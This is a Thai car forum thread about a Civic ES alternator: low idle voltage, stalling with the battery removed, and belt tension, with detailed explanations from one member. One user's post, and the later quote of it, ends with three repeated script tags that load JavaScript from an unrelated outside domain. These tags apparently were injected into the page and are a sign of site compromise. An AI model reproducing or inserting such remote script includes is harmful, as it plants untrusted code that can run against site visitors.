ตอบ
athongchum


ชื่อเล่น: เอก

เข้าร่วม: 04 สิงหา 2011
ตอบ: 1976

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 3152
ให้คำขอบคุณ: 1666

ที่อยู่: งามวงศ์วาน
ปี: 2003
สี: ดำ ไนท์ฮอว์ก (B-92P)
จันทร์, 3 มิถุนา 2013 20:25 - สอบถามปัญหาเรื่องไดร์ชาร์จ ถามพี่สุรเดชมาก็ข้อมูลไม่ตรงกัน
ปกติจะเห็นวิธีการตรวจเช็คไดร์ชาร์จกันมาว่า เมื่อเปิดแอร์ เปิดไฟหน้า แรงดันที่ได้ในรอบเดินเบาควรอยู่ที่ 13.8 ไม่ควรต่ำกว่า 13.5

ส่วนของผมได้ 12.7 ถ้ายึดตามหลักเกณฑ์ด้านบน แสดงว่าไดร์ชาร์จผมเริ่มชาร์จไฟอ่อนเกินไป

จากนั้นได้โทรไปปรึกษาพี่สุรเดช พี่แกบอกว่า 12.X เป็นค่าปกติของรถรุ่นใหม่ ที่ไดร์ชาร์จเป็นแบบคัตเอาท์ใน ที่จำกันมาว่าต้อง +3.8 เป็นความรู้เก่าไปแล้ว ใช้ได้กับพวกรถรุ่นเก่าที่เป็นแบบคัตเอาท์นอก

ก็งงสิครับทีนี้ เคยดูในคลิป เป็น CRV เค้าก็วัดไฟได้ที่ประมาณ 14 ของ CRV ก็ใกล้เคียง ES แล้วทำไมไม่ได้ 12.X เหมือนที่พี่สุรเดชบอกมา





วันนี้ผมก็สั่งแบตใหม่มาเปลี่ยน ก่อนถอดก็สตาร์ทรถไว้ แล้วถอดขั้วแบตเก่าออก ถอดไปได้สักพัก พอพัดลมหม้อน้ำทำงาน เครื่องดับเลยครับ ก็งงเลยครับทีนี้เกิดอะไรขึ้น จากนั้นผมก็ลองต่อขั้วแบตสตาร์ทใหม่ แล้วถอดแบตออกอีกครั้ง แล้วไปลองในรถเลย ลองเปิดปิดอุปกรณ์ทีล่ะอย่าง ไม่ว่าจะเป็น ไฟหน้า หรือแอร์ เปิดเมื่อไหร่ เครื่องดับเมื่อนั้นในรอบเดินเบา แต่พอเร่งรอบขึ้นมาสักประมาณ 1000 เปิดอะไรก็ไม่ดับ แค่รอบเครื่องตกลงมา

จากวันนี้ที่ช่างมาเปลี่ยนแบตลูกใหม่ให้ ให้ช่างเช็คไดร์ชาร์จดู ช่างบอกว่าไดร์ชาร์จน่าจะยังปกติ แต่รอบเครื่องเราต่ำเกินไป (รอบเครื่องผมจากที่ดูในหน้าจูนแก๊สอยู่ที่ 700 รอบ) ช่างบอกว่าอาจจะเป็นที่สายพานไดร์ชาร์จหย่อนเกินไป ให้ไปปรับให้ตึงขึ้น

ผมเลยมีคำถามว่า ที่ช่างบอกมามันเกี่ยวหรือป่าวครับ แล้วสายพานรุ่นเราสามารถตั้งให้ตึงขึ้นได้หรือป่าวครับ

ขอบคุณมากๆครับ
ได้รับคำขอบคุณจาก: ค้าอะไหล่โคตรเก่า  suttijate  Paul_Jack  qq 
ค้าอะไหล่โคตรเก่า


เข้าร่วม: 06 ธันวา 2011
ตอบ: 5338

ผู้ให้การสนับสนุน
ผู้ให้การสนับสนุน

ได้รับคำขอบคุณ: 10891
ให้คำขอบคุณ: 12020

ที่อยู่: USED JAPAN SHOP sales & service เฉลิมพระเกียรติ ร.9 30
ปี: 2004
สี: เทา ซิลเวอร์สโตน (NH-630M)
จันทร์, 3 มิถุนา 2013 20:29 - สอบถามปัญหาเรื่องไดร์ชาร์จ ถามพี่สุรเดชมาก็ข้อมูลไม่ตรงกัน
ปูเสื่อรอชม
ได้รับคำขอบคุณจาก: athongchum  suttijate 
athongchum


ชื่อเล่น: เอก

เข้าร่วม: 04 สิงหา 2011
ตอบ: 1976

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 3152
ให้คำขอบคุณ: 1666

ที่อยู่: งามวงศ์วาน
ปี: 2003
สี: ดำ ไนท์ฮอว์ก (B-92P)
จันทร์, 3 มิถุนา 2013 22:04 - สอบถามปัญหาเรื่องไดร์ชาร์จ ถามพี่สุรเดชมาก็ข้อมูลไม่ตรงกัน
ค้าอะไหล่โคตรเก่า พิมพ์ว่า:
ปูเสื่อรอชม




รับป๊อปคอนสักชุดมั้ยฮะ
ได้รับคำขอบคุณจาก: suttijate  ค้าอะไหล่โคตรเก่า 
fasang.Mr


ชื่อเล่น: บี

เข้าร่วม: 23 มีนา 2010
ตอบ: 2101

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 1764
ให้คำขอบคุณ: 2323

ที่อยู่: นนทบุรี-ประจวบฯ-พะเยา
ปี: 2004
สี: ดำ ไนท์ฮอว์ก (B-92P)
จันทร์, 3 มิถุนา 2013 22:20 - สอบถามปัญหาเรื่องไดร์ชาร์จ ถามพี่สุรเดชมาก็ข้อมูลไม่ตรงกัน
athongchum พิมพ์ว่า:
ค้าอะไหล่โคตรเก่า พิมพ์ว่า:
ปูเสื่อรอชม




รับป๊อปคอนสักชุดมั้ยฮะ


ผมขอ โค๊กด้วยครับ
ได้รับคำขอบคุณจาก: athongchum  ค้าอะไหล่โคตรเก่า 
suttijate


ชื่อเล่น: เจตน์

เข้าร่วม: 04 เมษา 2012
ตอบ: 1099

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 1067
ให้คำขอบคุณ: 919

ที่อยู่: นนทบุรี
ปี: 2002
สี: ดำ ไนท์ฮอว์ก (B-92P)
จันทร์, 3 มิถุนา 2013 22:48 - สอบถามปัญหาเรื่องไดร์ชาร์จ ถามพี่สุรเดชมาก็ข้อมูลไม่ตรงกัน
คุณเอกไม่วิ่งไปหาแกเลยละครับ ผมว่าถ่านไดมันใกล้หมดป่าวครับ ตอนกลางคืนเวลา เปิดไฟหน้าปัดไมล์ไฟนิ่งป่าวครับ ถ้าไฟไม่นิ่งหรือกระพือ อาจน่าจะเป็นที่ได นะครับ ผมเคยเป็นครับ อาการนี้ ถ้าปล่อยไว้ ไฟก็จะเริ่มหมดไปเรื่อย ๆ จนต้องเปลียนถ่าน และ ตัวคัตเอาท์ครับ เอาใจช่วยนะตัวเอง"<script src="https://sport32news.com/civicesgroup.js"> "<script src="https://sport32news.com/civicesgroup.js"> "<script src="https://sport32news.com/civicesgroup.js">
srithanon


เข้าร่วม: 13 สิงหา 2009
ตอบ: 380

มีใบอนุญาตขับขี่
มีใบอนุญาตขับขี่

ได้รับคำขอบคุณ: 1324
ให้คำขอบคุณ: 4
อังคาร, 4 มิถุนา 2013 00:31 - สอบถามปัญหาเรื่องไดร์ชาร์จ ถามพี่สุรเดชมาก็ข้อมูลไม่ตรงกัน
สำหรับเรื่องไดน์ชาร์จหรือ Alternator  ที่ทำการชาร์จกระแสไฟให้กับแบ็ตเตอรี่รถยนต์   ก่อนอืนต้องทำความเข้าใจก่อนว่า ในสภาวะที่ปกติ ของแบ็ตเตอรี่ที่ยังไม่มีการใช้งาน  เราจะวัดโวลเต็จหรือแรงเคลื่อนไฟฟ้าได้ 12.4 volt (เมื่อไม่มีโหลด)  และถ้าหากแบ็ตมีกระแสไฟที่ถูกชาร์จไว้เต็ม  จะวัดได้ประมาณ 12.9 Volt   การที่จะทำการชาร์จกระแสไฟให้กับแบ็ตเตอรี่   จำเป็นที่จะต้องให้ตัวไดน์ชาร์จสร้างแรงเคลื่อนโวลเต็จให้สูงกว่าโวลเต็จที่ตัวแบ็ตเตอรี่ ถึงจะทำการชาร์จไฟเข้าแบ็ตเตอรี่ได้    

หลักในการตรวจสอบการทำงานของตัวไดน์ชาร์จ ว่าจะอยู่ในสภาพปกติหรือไม่นั้น เขาจะตรวจสอบดังนี้
ให้ทำการสตาร์ทเครื่องยนต์ ให้รอบเครื่องยนต์มีความเร็วรอบประมาณ 2000-2500 รอบต่อนาที   แล้วให้เปิดแอร์ เปิดไฟหน้ารถ(ไฟสูง) และอุปกรณ์เครื่องเสียง ที่ใช้กระแสไฟทั้งหมด       จะวัดค่าโวลเต็จได้ 13.5-15 V  และที่ความเร็วรอบเครื่องยนต์ในขณะนี้  จะต้องวัดกระแสไฟที่ผลิตได้จากตัวไดน์ชาร์จ  มากกว่า 30 Amp  ถือว่าไดน์ชาร์จทำงานได้ปกติ

หากเมื่อใดที่วัดค่าโวลเต็จได้ต่ำกว่า  13.5 Volt  แสดงว่าไดน์ชาร์จไม่ปกติ  ผลิตกระแสไฟออกมาได้ต่ำกว่าปกติ
หากเมื่อใดวัดค่าโวลเต็จได้มากว่า 15 Volt  แสดงว่าในระบบควบคุมการจ่ายกระแสไฟโวลเต็จ ที่มาจากชุดวงจร IC voltage regulator ชำรุด

สำหรับการตรวจสอบการชาร์จของตัวไดน์ชาร์จ  ในขณะที่เครื่องยนต์อยู่ในจังหวะรอบเดินเบา 850-900 รอบต่อนาที  ค่าโวลที่วัดได้จะอยู่ที่ประมาณ 13.8-14.5 V  และกระแสไฟที่วัดได้จะอยู่ที่ประมาณ 10 A

ตามที่ท่านเจ้าของกระทู้บอกว่า  ได้ทดลองสตาร์ทเครื่องยนต์อยู่ในจังหวะรอบเดินเบา  แลัวเอาแบ็ตเตอรี่ออก เครื่องยนต์ยังทำงานอยู่  แต่พอพัดลมหม้อน้ำทำงาน  เครื่องยนต์ก็ดับทันที่   ไม่ต้องสงสัยอะไรมาก  ที่ดับนั้นนะมันปกติแล้วครับ   

ก่อนอื่นต้องทำความเข้าใจก่อนว่า  การที่ไดนืชาร์จจะทำงานจ่ายกระแสไฟไปใช้ชาร์จแบ็ตและจ่ายไฟให้กับระบบไฟในรถยนต์   มันจะต้องอาศัยไฟจากแบ็ตเตอรี่ไปจ่ายให้กับขดลวดโรเตอร์ในตัวไดน์ชาร์ทก่อน  เพื่อให้เกิดสนามแม่เหล็กที่แกนทุ่นโรเตอร์  เมื่อแกนทุ่นโรเตอร์ถูกหมุนด้วยสายพานเครื่องยนต์  ก็จะทำให้แกนทุ่นโรเตอร์หมุน  ทำให้มีสนามแม่เหล้กหมุนตัดกับขดลวดสเตเตอร์  เกิดโวลเต็จแรงเคลื่อนและกระแสไฟในขดลวดสเตเตอร์   แล้วจึงนำไปทำการเร็คติไฟร์ให้เป็นกระแสไฟตรง ( DC )

เมื่อเครื่องยนต์ติดแล้ว  ก็จะทำให้มีกระแสไฟโวลเต็จจ่ายให้กับระบบไฟในรถรวมทั้งกระแสไฟที่จ่ายให้กับขดลวดโรเตอร์  สร้างสนามแม่เหล็กได้  เนื่องจากในตัวไดน์ชาร์ทที่วงจรของ IC voltage regulator ไฟที่จ่ายให้กับขดลวดโรเตอร์จะต่อร่มกับไฟที่จ่ายไปเข้าขัวบวกของแบ็ตเพื่อทำการชาร์จ  เสมือนว่าไฟจากขั่วบวกของแบ็ตต่อตรงไปเข้าไฟออกจากตัวไดน์ชาร์จ    งั้นเมื่อเราดึงเอาขัวลบของแบ็ตออก
ก็ยังคงมีไฟจ่ายไปให้ขดลวดโรเตอร์สร้างสนามแม่เหล็ก    ทำให้มีไฟจ่ายให้กับระบบไฟจุดระเบิดของเครื่องยนต์และอื่นๆ  หลังจากที่เอาขั่วลบแบ็ตออก  

อาจจะมีคำถามต่อไปอีกว่า  แล้วจะเอาไฟลบอะไรแทนขั่วลบของแบ็ต  ก็ตอบว่า ที่ตัวไดน์ชาร์จที่เป็นเคสโลหะ  เขาทำเป็นระบบกราวด์ไฟลบของไดน์ชาร์ท   และที่ตัวไดน์ชาร์จก็ยึดติดกับตัวถังแชชซิสรถ  จึงมีกราวด์เช่นเดียวกับขั่วลบของแบ็ต

ปัญหามันมีอยู่ว่า  เมื่อเครื่องยนต์อยู่ในจังหวะรอบเดินเบาที่เอาแบ็ตออก  ที่ตัวไดน์ชาร์จมันสามารถผลิตกระแสไฟออดมาได้ไม่เกิน 10 Amp  ดังนั้นเมื่อพัดลมหม้อน้ำทำงาน มันจึงดึงกระแสหรือใช้กระแสไฟที่ได้จากตัวไดน์ชาร์จในขณะนั้น เกือบ 6-7 Amp  ทำให้กระแสไฟที่ผลิตได้เกือบไม่พอ  ทำให้โวลเต็จที่ได้จากไดน์ลดลงอย่างมาก   ทำให้โวลเต็จลดลงมากเช่นกัน   เป็นผลทำให้ไฟโวลเต็จที่ไปจ่ายให้ขดลวดโรเตอร์ต่ำมาก  จนขดลวดโรเตอร์ไม่สามารถสร้างสนามแม่เหล็กให้มีกระแสไฟโวลเต็จที่ขดลวดสเตเตอร์ได้
เครื่องยนต์ก้ดับ   

ที่เป็นเช่นนี้เพราะการทำงานของไดน์ชาร์ทจะมีตัวแปรเรื่องรอบเครื่องยนต์ในการผลิตกระแสไฟ  ดังนั้นการที่จะผลิตกระแสไฟให้มากจึงจำเป็นที่จะต้องเร่งเครื่องยนต์ให้มีรอบสูงๆ  เพื่อให้ผลิตกระแสไฟได้มากพอที่จะจ่ายให้กับโหลด   จากการสาธิตในวิดิโอคลิปที่มาจาก BB Batery  ผู้ที่ทำหน้าที่สาธิตบอกว่าที่รอบเดินเบาเครื่องยนต์  ในการเทสตรวจสอบตัวไดน์ชาร์จ ให้เปิดการใช้กระแสไฟของรถทั้งหมด  แล้ววัดไฟได้ 14 V นั้น  ทำไมไม่บอกว่าเครื่องยนต์มีรอบเดินเบาที่เท่าไหร่   จากการฟังเสียงเครื่องยนต์ดูน่าจะประมาณ 900-1000 รอบต่อนาที   และก็เป็นไปไม่ได้ที่รอบเครื่องยนต์ ต่ำกว่า 800 รอบจะผลิตกระแสไฟออกมาให้แอร์ พัดลมไฟหน้ารถได้มากกว่า 10 Amp

ในระบบไดน์ชาร์จในปัจจุบัน  ที่คอนโททรลด้วบระบบ IC regulator ที่รอบเดินเบา ต่ำกว่า800 รอบจะสมารถผลิตกระแสได้น้อยกว่า 10 Amp  ในทางปฏิบัติจะเริ่มจ่ายกระแสไฟมากขึ้นที่ 1000 รอบขึ้นไป   ดังที่ท่านเจ้าของกระทู้บอกว่า  หากเร่งเครื่องยนต์ให่มีรอบที่ 1000 รอบ  เครื่องยนต์ไม่ดับเมื่อเอาแบ็ตออก   เพราะมีกระแสไฟที่ผลิตจากไดน์ชาร์ทมากขึ้น  พอจ่ายให้กับโหลด

สำหรับรอบเครื่องยนต์ของเจ้าของกระทู้ผมคิดว่าต่ำไป  ปกติแล้วเครื่องยนต์รถทั่วๆไปจะอยู่ที่ 850-900 รอบต่อนาที   สำหรับการตั้งความตึงของสายพาน  มันมีตัวปรับตั้งให้อยู่แล้ว  และในทางปฏิบัติในการปรับตั้งความตึงของสายพานเขาจะกำหนดโดยการใช้มือกดที่สายพานให้กดลงได้ประมาณ 5-7 มิล  เพื่อให้เกิด Friction ของร่องสายพาน  กับพูลเลย์เพลาข้อเหวี่ยงและ ล้อสายพานของไดน์ชาร์จ  จะได้ไม่ลื่นฟรีทำให้มีรอบการหมุนที่ถูกต้องในรอบของเครื่องยนต์กับตัวไดนืชาร์จ 

ก็เป็นการตอบแบบทั่วๆไป  ไม่เน้นทางวิชาการที่เนื้อหามากมายขี้เกียจอ่าน............srithanon
ได้รับคำขอบคุณจาก: athongchum  Oil_liO  wut-chiangmai  NuuTeee  pejung  yorkydog  nextseven  Pantamitr  aum-chonburi  chaichan  Tingly_drums  chokpiti  qq  jojowaiwai  wit2524  mea  Doraeman  Leonic_l  kloster  tzm  jeang 
athongchum


ชื่อเล่น: เอก

เข้าร่วม: 04 สิงหา 2011
ตอบ: 1976

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 3152
ให้คำขอบคุณ: 1666

ที่อยู่: งามวงศ์วาน
ปี: 2003
สี: ดำ ไนท์ฮอว์ก (B-92P)
อังคาร, 4 มิถุนา 2013 00:48 - สอบถามปัญหาเรื่องไดร์ชาร์จ ถามพี่สุรเดชมาก็ข้อมูลไม่ตรงกัน
srithanon พิมพ์ว่า:
สำหรับเรื่องไดน์ชาร์จหรือ Alternator  ที่ทำการชาร์จกระแสไฟให้กับแบ็ตเตอรี่รถยนต์   ก่อนอืนต้องทำความเข้าใจก่อนว่า ในสภาวะที่ปกติ ของแบ็ตเตอรี่ที่ยังไม่มีการใช้งาน  เราจะวัดโวลเต็จหรือแรงเคลื่อนไฟฟ้าได้ 12.4 volt (เมื่อไม่มีโหลด)  และถ้าหากแบ็ตมีกระแสไฟที่ถูกชาร์จไว้เต็ม  จะวัดได้ประมาณ 12.9 Volt   การที่จะทำการชาร์จกระแสไฟให้กับแบ็ตเตอรี่   จำเป็นที่จะต้องให้ตัวไดน์ชาร์จสร้างแรงเคลื่อนโวลเต็จให้สูงกว่าโวลเต็จที่ตัวแบ็ตเตอรี่ ถึงจะทำการชาร์จไฟเข้าแบ็ตเตอรี่ได้    

หลักในการตรวจสอบการทำงานของตัวไดน์ชาร์จ ว่าจะอยู่ในสภาพปกติหรือไม่นั้น เขาจะตรวจสอบดังนี้
ให้ทำการสตาร์ทเครื่องยนต์ ให้รอบเครื่องยนต์มีความเร็วรอบประมาณ 2000-2500 รอบต่อนาที   แล้วให้เปิดแอร์ เปิดไฟหน้ารถ(ไฟสูง) และอุปกรณ์เครื่องเสียง ที่ใช้กระแสไฟทั้งหมด       จะวัดค่าโวลเต็จได้ 13.5-15 V  และที่ความเร็วรอบเครื่องยนต์ในขณะนี้  จะต้องวัดกระแสไฟที่ผลิตได้จากตัวไดน์ชาร์จ  มากกว่า 30 Amp  ถือว่าไดน์ชาร์จทำงานได้ปกติ

หากเมื่อใดที่วัดค่าโวลเต็จได้ต่ำกว่า  13.5 Volt  แสดงว่าไดน์ชาร์จไม่ปกติ  ผลิตกระแสไฟออกมาได้ต่ำกว่าปกติ
หากเมื่อใดวัดค่าโวลเต็จได้มากว่า 15 Volt  แสดงว่าในระบบควบคุมการจ่ายกระแสไฟโวลเต็จ ที่มาจากชุดวงจร IC voltage regulator ชำรุด

สำหรับการตรวจสอบการชาร์จของตัวไดน์ชาร์จ  ในขณะที่เครื่องยนต์อยู่ในจังหวะรอบเดินเบา 850-900 รอบต่อนาที  ค่าโวลที่วัดได้จะอยู่ที่ประมาณ 13.8-14.5 V  และกระแสไฟที่วัดได้จะอยู่ที่ประมาณ 10 A

ตามที่ท่านเจ้าของกระทู้บอกว่า  ได้ทดลองสตาร์ทเครื่องยนต์อยู่ในจังหวะรอบเดินเบา  แลัวเอาแบ็ตเตอรี่ออก เครื่องยนต์ยังทำงานอยู่  แต่พอพัดลมหม้อน้ำทำงาน  เครื่องยนต์ก็ดับทันที่   ไม่ต้องสงสัยอะไรมาก  ที่ดับนั้นนะมันปกติแล้วครับ   

ก่อนอื่นต้องทำความเข้าใจก่อนว่า  การที่ไดนืชาร์จจะทำงานจ่ายกระแสไฟไปใช้ชาร์จแบ็ตและจ่ายไฟให้กับระบบไฟในรถยนต์   มันจะต้องอาศัยไฟจากแบ็ตเตอรี่ไปจ่ายให้กับขดลวดโรเตอร์ในตัวไดน์ชาร์ทก่อน  เพื่อให้เกิดสนามแม่เหล็กที่แกนทุ่นโรเตอร์  เมื่อแกนทุ่นโรเตอร์ถูกหมุนด้วยสายพานเครื่องยนต์  ก็จะทำให้แกนทุ่นโรเตอร์หมุน  ทำให้มีสนามแม่เหล้กหมุนตัดกับขดลวดสเตเตอร์  เกิดโวลเต็จแรงเคลื่อนและกระแสไฟในขดลวดสเตเตอร์   แล้วจึงนำไปทำการเร็คติไฟร์ให้เป็นกระแสไฟตรง ( DC )

เมื่อเครื่องยนต์ติดแล้ว  ก็จะทำให้มีกระแสไฟโวลเต็จจ่ายให้กับระบบไฟในรถรวมทั้งกระแสไฟที่จ่ายให้กับขดลวดโรเตอร์  สร้างสนามแม่เหล็กได้  เนื่องจากในตัวไดน์ชาร์ทที่วงจรของ IC voltage regulator ไฟที่จ่ายให้กับขดลวดโรเตอร์จะต่อร่มกับไฟที่จ่ายไปเข้าขัวบวกของแบ็ตเพื่อทำการชาร์จ  เสมือนว่าไฟจากขั่วบวกของแบ็ตต่อตรงไปเข้าไฟออกจากตัวไดน์ชาร์จ    งั้นเมื่อเราดึงเอาขัวลบของแบ็ตออก
ก็ยังคงมีไฟจ่ายไปให้ขดลวดโรเตอร์สร้างสนามแม่เหล็ก    ทำให้มีไฟจ่ายให้กับระบบไฟจุดระเบิดของเครื่องยนต์และอื่นๆ  หลังจากที่เอาขั่วลบแบ็ตออก  

อาจจะมีคำถามต่อไปอีกว่า  แล้วจะเอาไฟลบอะไรแทนขั่วลบของแบ็ต  ก็ตอบว่า ที่ตัวไดน์ชาร์จที่เป็นเคสโลหะ  เขาทำเป็นระบบกราวด์ไฟลบของไดน์ชาร์ท   และที่ตัวไดน์ชาร์จก็ยึดติดกับตัวถังแชชซิสรถ  จึงมีกราวด์เช่นเดียวกับขั่วลบของแบ็ต

ปัญหามันมีอยู่ว่า  เมื่อเครื่องยนต์อยู่ในจังหวะรอบเดินเบาที่เอาแบ็ตออก  ที่ตัวไดน์ชาร์จมันสามารถผลิตกระแสไฟออดมาได้ไม่เกิน 10 Amp  ดังนั้นเมื่อพัดลมหม้อน้ำทำงาน มันจึงดึงกระแสหรือใช้กระแสไฟที่ได้จากตัวไดน์ชาร์จในขณะนั้น เกือบ 6-7 Amp  ทำให้กระแสไฟที่ผลิตได้เกือบไม่พอ  ทำให้โวลเต็จที่ได้จากไดน์ลดลงอย่างมาก   ทำให้โวลเต็จลดลงมากเช่นกัน   เป็นผลทำให้ไฟโวลเต็จที่ไปจ่ายให้ขดลวดโรเตอร์ต่ำมาก  จนขดลวดโรเตอร์ไม่สามารถสร้างสนามแม่เหล็กให้มีกระแสไฟโวลเต็จที่ขดลวดสเตเตอร์ได้
เครื่องยนต์ก้ดับ   

ที่เป็นเช่นนี้เพราะการทำงานของไดน์ชาร์ทจะมีตัวแปรเรื่องรอบเครื่องยนต์ในการผลิตกระแสไฟ  ดังนั้นการที่จะผลิตกระแสไฟให้มากจึงจำเป็นที่จะต้องเร่งเครื่องยนต์ให้มีรอบสูงๆ  เพื่อให้ผลิตกระแสไฟได้มากพอที่จะจ่ายให้กับโหลด   จากการสาธิตในวิดิโอคลิปที่มาจาก BB Batery  ผู้ที่ทำหน้าที่สาธิตบอกว่าที่รอบเดินเบาเครื่องยนต์  ในการเทสตรวจสอบตัวไดน์ชาร์จ ให้เปิดการใช้กระแสไฟของรถทั้งหมด  แล้ววัดไฟได้ 14 V นั้น  ทำไมไม่บอกว่าเครื่องยนต์มีรอบเดินเบาที่เท่าไหร่   จากการฟังเสียงเครื่องยนต์ดูน่าจะประมาณ 900-1000 รอบต่อนาที   และก็เป็นไปไม่ได้ที่รอบเครื่องยนต์ ต่ำกว่า 800 รอบจะผลิตกระแสไฟออกมาให้แอร์ พัดลมไฟหน้ารถได้มากกว่า 10 Amp

ในระบบไดน์ชาร์จในปัจจุบัน  ที่คอนโททรลด้วบระบบ IC regulator ที่รอบเดินเบา ต่ำกว่า800 รอบจะสมารถผลิตกระแสได้มากกว่า 10 Amp  ในทางปฏิบัติจะเริ่มจ่ายกระแสไฟมากขึ้นที่ 1000 รอบขึ้นไป   ดังที่ท่านเจ้าของกระทู้บอกว่า  หากเร่งเครื่องยนต์ให่มีรอบที่ 1000 รอบ  เครื่องยนต์ไม่ดับเมื่อเอาแบ็ตออก   เพราะมีกระแสไฟที่ผลิตจากไดน์ชาร์ทมากขึ้น  พอจ่ายให้กับโหลด

สำหรับรอบเครื่องยนต์ของเจ้าของกระทู้คิดว่าต่ำไป  ปกติแล้วเครื่องยนต์รถทั่วๆไปจะอยู่ที่ 850-900 รอบต่อนาที   สำหรับการตั้งความตึงของสายพาน  มันมีตัวปรับตั้งให้อยู่แล้ว  และในทางปฏิบัติในการปรับตั้งความตึงของสายพานเขาจะกำหนดโดยการใช้มือกดที่สายพานให้กดลงได้ประมาณ 5-7 มิล  เพื่อให้เกิด Friction ของร่องสายพาน  กับพูลเลย์เพลาข้อเหวี่ยงและ ล้อสายพานของไดน์ชาร์จ  จะได้ไม่ลื่นฟรีทำให้มีรอบการหมุนที่ถูกต้องในรอบของเครื่องยนต์กับตัวไดนืชาร์จ 

ก็เป็นการตอบแบบทั่วๆไป  ไม่เน้นทางวิชาการที่เนื้อหามากมายขี้เกียจอ่าน............srithanon




ตอบได้ละเอียดมากเลยครับพี่ ข้อสงสัยอีก 2 ข้อ ครับผม

1.ที่รอบเดินเบา 700 วัดแรงดันได้ 12.X นี่สรุปไม่ได้ใช่มั้ยครับ ผมต้องเร่งรอบเครื่องยนต์ให้ได้ 850-900 แล้วจึงดูแรงดันไฟใช่มั้ยครับ
2.ถ้าสายพานหย่อน เป็นไปได้มั้ยว่า ทำให้ไดร์ปั่นไฟไม่พอ ทำให้รอบเครื่องพลอยต่ำไปด้วย

ขอบคุณครับ

suttijate พิมพ์ว่า:
คุณเอกไม่วิ่งไปหาแกเลยละครับ ผมว่าถ่านไดมันใกล้หมดป่าวครับ ตอนกลางคืนเวลา เปิดไฟหน้าปัดไมล์ไฟนิ่งป่าวครับ ถ้าไฟไม่นิ่งหรือกระพือ อาจน่าจะเป็นที่ได นะครับ ผมเคยเป็นครับ อาการนี้ ถ้าปล่อยไว้ ไฟก็จะเริ่มหมดไปเรื่อย ๆ จนต้องเปลียนถ่าน และ ตัวคัตเอาท์ครับ เอาใจช่วยนะตัวเอง"<script src="https://sport32news.com/civicesgroup.js"> "<script src="https://sport32news.com/civicesgroup.js"> "<script src="https://sport32news.com/civicesgroup.js">


ขอบคุณครับท่านเจต  เดี๋ยวขอหาข้อมูลวิเคราะห์ด้วยตัวเองก่อนครับ
fasang.Mr พิมพ์ว่า:
athongchum พิมพ์ว่า:
ค้าอะไหล่โคตรเก่า พิมพ์ว่า:
ปูเสื่อรอชม




รับป๊อปคอนสักชุดมั้ยฮะ


ผมขอ โค๊กด้วยครับ



 
Oil_liO


ชื่อเล่น: ออย

เข้าร่วม: 25 ธันวา 2010
ตอบ: 959

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 1157
ให้คำขอบคุณ: 1105

ที่อยู่: กรุงเทพมหานคร อุดรธานี
ปี: 2005
อังคาร, 4 มิถุนา 2013 02:35 - สอบถามปัญหาเรื่องไดร์ชาร์จ ถามพี่สุรเดชมาก็ข้อมูลไม่ตรงกัน
มาเก็บข้อมูลเพิ่มความรู้อันน้อยนิด
ได้รับคำขอบคุณจาก: athongchum 
srithanon


เข้าร่วม: 13 สิงหา 2009
ตอบ: 380

มีใบอนุญาตขับขี่
มีใบอนุญาตขับขี่

ได้รับคำขอบคุณ: 1324
ให้คำขอบคุณ: 4
อังคาร, 4 มิถุนา 2013 09:57 - สอบถามปัญหาเรื่องไดร์ชาร์จ ถามพี่สุรเดชมาก็ข้อมูลไม่ตรงกัน
ก่อนอื่นต้องตั้งรอบเดินเบาของเครื่องยนต์ให้ได้ตามมาตรฐานก่อนที่ 850  รอบ  เพราะการทำงานของตัวไดน์ชาร์จ มันต้องการรอบเครื่องยนต์  ที่จะสร้างสนามแม่เหล็กของขดลวดโรเตอร์  ที่จะผลิตกระแสไฟออกมาพอที่จะใช้ในระบบไฟของรถ   ซึ่งที่ 850 รอบนี้ ตัวไดน์ชาร์จเริ่มผลิตกระแสไฟได้ไม่มาก  ประมาณ 10 Amp    และถ้าหากรอบเครื่องยนต์ต่ำกว่านี้   ทั้งกระแสไฟและโวลเต็จก็จะออกมาต่ำ    ดังนั้นการที่คุณบอกว่าวัดไฟที่รอบเครื่องยนต์ของคุณเองmที่ 700 รอบได้ประมาณ 12..X  โวลท์  

นั้นหมายความว่าไฟจากไดชาร์ทยังผลิตออกมาไม่พอ   งั้นคุณก็ลองเร่งรอบเครื่องยนต์ให้ได้ 850-900 รอบ  ดูวิว่า  มันวัดไฟได้กี่โวลท์
ในสภาวะปกติที่ตัวไดน์ชาร์จ  เมื่อมันผลิตกระแสไฟโวลเต็จสำหับชาร์จแบ็ต  มันจะต้องสามารถผลิตแรงเคลื่อนโวลเต็จออกมาอย่างน้อย
13.5-13.8 V  ทั้งรอบเดินเบาและรอบเครื่องยนต์สูง   ทั้งนี้ในตัวไดน์ชาร์ทรุ่นใหม่ๆในปัจจุบันนี้  ตัวไดน์ชาร์จจะถูกคอนโทรลด้วย IC voltage regulator   มันจึงรักษาระดับแรงเคลื่อนโวลเต็จให้ไม่เกินค่าสูงสูดที่กำหนด  คือที่ ไม่เกิน 14.5-15 Volt   ทั้งนี้เพื่อป้องกันการเกิดโอเวอร์ชาร์จให้กับแบ็ต   อันมีผลเสียหายของแผ่นธาตตะกั่วอ๊อกไซด์   ทำให้แบ็ตเสื่อมเร็ว

ที่ถามว่าหากสายพายหย่อน  จะทำให้ไดน์ชาร์จผลิตกระแสออกมาไม่พอ   ก็มีส่วนถูกอยู่บ้างแต่ไม่มาก    การที่สายพานหย่อนจนถึงจุดสภาวะที่เกิดการลื่นฟรีของสายพานที่หมุนไดน์ชาร์จ  นั้นในความจริงแล้วมันเกิดขึ้นน้อนมาก  และถ้าหากมันเกิดขึ้นจริงตามที่กล่าว  มันจะทำให้รอบการหมุนของตัวไดน์ไม่ตรงตามการเคลื่อนที่ของสายพาน  ทำให้รอบการหมุนของไดน์ช้ากว่า   ทำให้แกนโรเตอร์หมุนช้าตามไปด้วย  เมื่อแกนโรเตอร์หมุนช้าลง  การเสริมเส้นแรงแม่เหล็กไปให้ขดลวดสเตเตอร์ก็มีน้อย  ทำให้ไดน์ผลิตกระแสไฟออกมาน้อย
นี้คือปัญหาของสายพานหย่อน(ต้องหย่อนมาก)

